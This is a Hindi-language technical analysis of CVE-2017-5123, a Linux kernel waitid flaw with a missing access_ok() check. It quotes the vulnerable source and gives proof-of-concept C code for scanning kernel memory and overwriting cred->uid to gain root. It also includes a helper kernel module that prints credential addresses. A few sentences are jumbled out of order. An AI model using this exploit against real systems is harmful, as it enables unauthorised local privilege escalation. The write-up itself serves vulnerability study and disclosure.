
CVE-2017-5123 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो missing access_ok() check के कारण स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाने वाली लिनक्स कर्नेल की waitid syscall कमजोरी है।
लिनक्स कर्नेल में waitid सिस्टम कॉल उपयोग किए जाने वाले गंतव्य पते को सत्यापित नहीं करता था। इससे स्थानीय उपयोगकर्ता कर्नेल मेमोरी क्षेत्र में लिख सकते हैं, जिसके परिणामस्वरूप डिवाइस पर विशेषाधिकार वृद्धि या सैंडबॉक्स एस्केप हो सकता है।
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // मूलतः stac() कॉल करता है, अस्थायी रूप से SMAP बंद करता है
unsafe_put_user(signo, &infop->si_signo, Efault); // <- इस फ़ंक्शन को कॉल करने से पहले access_ok() चेक गायब
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // मूलतः clac() कॉल करता है, SMAP फिर से चालू करता है
return err;
Efault:
user_access_end();
return -EFAULT;
}
यहाँ पहचानी गई त्रुटि unsafe_put_user() फ़ंक्शन को कॉल करने से पहले access_ok() चेक का अभाव है। पिछले कर्नेल संस्करणों में, प्रोग्राम put_user() फ़ंक्शन का उपयोग करता था, जिसमें access_ok() चेक शामिल था।
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
unsafe_put_user() फ़ंक्शन का उपयोग करके, प्रोग्राम user_access_begin() / user_access_end() को बार-बार कॉल करने से बचता है, जो SMAP को बार-बार चालू/बंद करने से रोकता है। access_ok() यहाँ ptr पते की वैधता की जाँच करता है, यह सुनिश्चित करता है कि यह उपयोगकर्ता की मेमोरी क्षेत्र में है। इससे उपयोगकर्ता को कर्नेल मेमोरी में लिखने से रोका जाता है। इसलिए यदि हम syscall waitid को कॉल करते हैं और infop पैरामीटर एक कर्नेल पता है, तो यह त्रुटि ट्रिगर होगी।
access_ok() चेक की कमी हमें waitid के infop पैरामीटर के रूप में एक कर्नेल पता पास करने की अनुमति देती है, और फिर syscall unsafe_put_user() को कॉल करके इस पते को ओवरराइट करेगा। यहाँ एक सीमा है कि हम कर्नेल पते पर क्या लिखा जाएगा, इसे नियंत्रित नहीं कर सकते। लिखने के लिए 6 फ़ील्ड हैं: signo, नल बाइट, info.cause, info.pid (अधिकतम मान 0x8000), info.uid, info.status (int32 प्रकार है लेकिन केवल मान >0, <256)। यहाँ सबसे उपयोगी फ़ील्ड शायद नल बाइट है। हम इसका उपयोग cred->euid और cred->uid को ओवरराइट करने के लिए कर सकते हैं। ऐसा करने के लिए, हमें इन दो मानों का पता जानना होगा।
kernel.org के अनुसार, सभी प्रक्रियाओं के बीच साझा Kernel-space virtual memory का पता 0xffff800000000000 से शुरू होता है, हालांकि 0xffff800000000000 से 0xffff87ffffffffff तक "... guard hole, also reserved for hypervisor" है, इसलिए हम मेमोरी स्कैनिंग 0xffff880000000000 से शुरू करेंगे। यह भी ध्यान देने योग्य है कि हम मेमोरी स्कैन कर सकते हैं क्योंकि unsafe_put_user() अमान्य पतों तक पहुँचने पर क्रैश नहीं होगा। यह "unprivileged users" को अमान्य पता देकर सिस्टम को DoS करने से रोकता है।
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

अब हम कर्नेल हीप का पता जानते हैं। अगला कदम cred struct का पता खोजना है।
हालाँकि हम कर्नेल हीप का पता जानते हैं, यह जरूरी नहीं कि हीप की शुरुआत का पता हो। इसलिए हम Cred struct का सटीक पता नहीं निकाल सकते। यहाँ हम हीप स्प्रे नामक तकनीक का उपयोग करते हैं।
geteuid() को कॉल करती रहती हैं। यदि यह 0 लौटाती है, तो प्रक्रिया रूट विशेषाधिकारों के साथ चल रही है -> बिंगो।waitid() syscall को कॉल करती रहती है, cred struct के पते का अनुमान लगाती है और cred->uid को null में ओवरराइट करती है।चाइल्ड प्रक्रियाओं के cred struct का पता खोजने में डीबग करने में काफी समय लगता है, इसलिए मैंने printk() के माध्यम से cred->euid का पता प्रिंट करने के लिए एक मौजूदा मॉड्यूल का उपयोग किया।
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

मैंने देखा कि कुछ पते समान पैटर्न वाले हैं, रीबूट के बाद भी, इन पतों का ऑफसेट समान रहता है। इसलिए मैंने एक पता चुना और फिर लूप में + pagesize जोड़कर cred struct का पता अनुमान लगाया।

heap addr founded + offset प्रारूप का पता रखा है। ऑफसेट को छोटा रखने की आवश्यकता है ताकि इसका उपयोग कई संस्करणों के लिए किया जा सके। हालांकि इसका मतलब है कि हमला करने में अधिक समय लगेगा, और हीप में अन्य महत्वपूर्ण स्ट्रक्ट्स पर लिखने के कारण कर्नेल पैनिक/क्रैश होने की संभावना बढ़ जाती है।access_ok() चेक जोड़ा गया